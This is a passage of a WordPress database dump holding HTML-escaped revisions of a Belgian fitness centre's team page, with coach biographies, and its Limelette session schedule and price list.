national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;198\&quot; height=\&quot;259\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-06 21:06:21', '2013-11-06 21:06:21', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(393, 1, '2013-11-06 21:16:13', '2013-11-06 21:16:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-06 21:16:13', '2013-11-06 21:16:13', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(395, 1, '2013-11-14 21:20:57', '2013-11-14 21:20:57', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\nCardio: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\nCircuit training: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\nRenforcement musculaire: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:20:57', '2013-11-14 21:20:57', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(396, 1, '2013-11-14 21:23:43', '2013-11-14 21:23:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table 